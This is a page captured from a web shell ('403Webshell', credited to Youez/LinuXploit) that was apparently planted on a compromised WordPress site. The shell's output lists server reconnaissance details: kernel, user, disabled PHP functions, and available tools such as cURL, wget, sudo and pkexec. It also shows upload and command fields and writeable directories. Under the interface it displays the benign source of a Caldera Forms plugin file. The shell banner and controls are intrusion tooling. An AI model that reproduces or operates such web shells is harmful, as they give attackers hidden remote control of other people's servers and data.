403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.68.164.72
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/coircraft.com/wp-content/plugins/caldera-forms/cf2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/coircraft.com/wp-content/plugins/caldera-forms/cf2/CalderaFormsV2.php
<?php


namespace calderawp\calderaforms\cf2;


use calderawp\calderaforms\cf2\Fields\FieldTypeFactory;
use calderawp\calderaforms\cf2\Transients\Cf1TransientsApi;
use calderawp\calderaforms\cf2\Services\ServiceContract;

class CalderaFormsV2 extends \calderawp\CalderaContainers\Service\Container implements CalderaFormsV2Contract
{

    /**
     * Path to main plugin file
     *
     * @since 1.8.0
     *
     * @var string
     */
    protected $coreDirPath;

    /**
     * URL for main plugin file
     *
     * @since 1.8.0
     *
     * @var string
     */
    protected $coreUrl;

    /**
     * CalderaFormsV2 constructor.
     *
     * @since 1.8.0
     */
    public function __construct()
    {
        $this->singleton(Hooks::class, function () {
            return new Hooks($this);
        });
        $this->singleton(Cf1TransientsApi::class, function () {
            return new Cf1TransientsApi();
        });
        $this->singleton(FieldTypeFactory::class, function () {
            return new FieldTypeFactory();
        });
    }

    /**
     * Register a service with container
     *
     * @param ServiceContract $service The service to register
     *
     * @param boolean $isSingleton Is service a singleton?
     *
     * @return $this
     * @since 1.8.0
     *
     */
    public function registerService(ServiceContract $service, $isSingleton)
    {
        if (!$service->isSingleton()) {
            $this->bind($service->getIdentifier(), $service->register($this));
        } else {
            $this->singleton($service->getIdentifier(), $service->register($this));
        }
        return $this;
    }


    /**
     * Get service from container
     *
     * @param string $identifier
     *
     * @return mixed
     * @since 1.8.0
     *
     */
    public function getService($identifier)
    {
        return $this->make($identifier);
    }

    /**
     * Set path to main plugin file
     *
     * @param string $coreDirPath
     *
     * @return $this
     * @since 1.8.0
     *
     */
    public function setCoreDir($coreDirPath)
    {
        $this->coreDirPath = $coreDirPath;
        return $this;
    }

    /**
     * Get path to main plugin file
     *
     * @return string
     * @since 1.8.0
     *
     */
    public function getCoreDir()
    {
        if (is_string($this->coreDirPath)) {
            return $this->coreDirPath;
        }
        if (defined('CFCORE_PATH')) {
            return CFCORE_PATH;
        }

        return '';
    }

    /* @inheritdoc */
    public function setCoreUrl($coreUrl)
    {
        $this->coreUrl = $coreUrl;
        return $this;
    }

    /** @inheritdoc */
    public function getCoreUrl()
    {
        if ($this->coreUrl) {
            return $this->coreUrl;
        }

        if (defined('CFCORE_URL')) {
            return CFCORE_URL;
        }

        return '';
    }

    /**
     * Get the singleton hooks instance
     *
     * @return \calderawp\CalderaContainers\Interfaces\ProvidesService|Hooks
     * @since 1.8.0
     *
     */
    public function getHooks()
    {
        return $this->make(Hooks::class);
    }

    /**
     * Get our transients API
     *
     * @return \calderawp\CalderaContainers\Interfaces\ProvidesService|Cf1TransientsApi
     * @since 1.8.0
     *
     */
    public function getTransientsApi()
    {
        return $this->make(Cf1TransientsApi::class);
    }

    /**
     * Get field type factory
     *
     * @return FieldTypeFactory
     * @since 1.8.0
     *
     */
    public function getFieldTypeFactory()
    {
        return $this->make(FieldTypeFactory::class);
    }

    /** @inheritdoc */
    public function getWpdb()
    {
        global $wpdb;
        return $wpdb;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit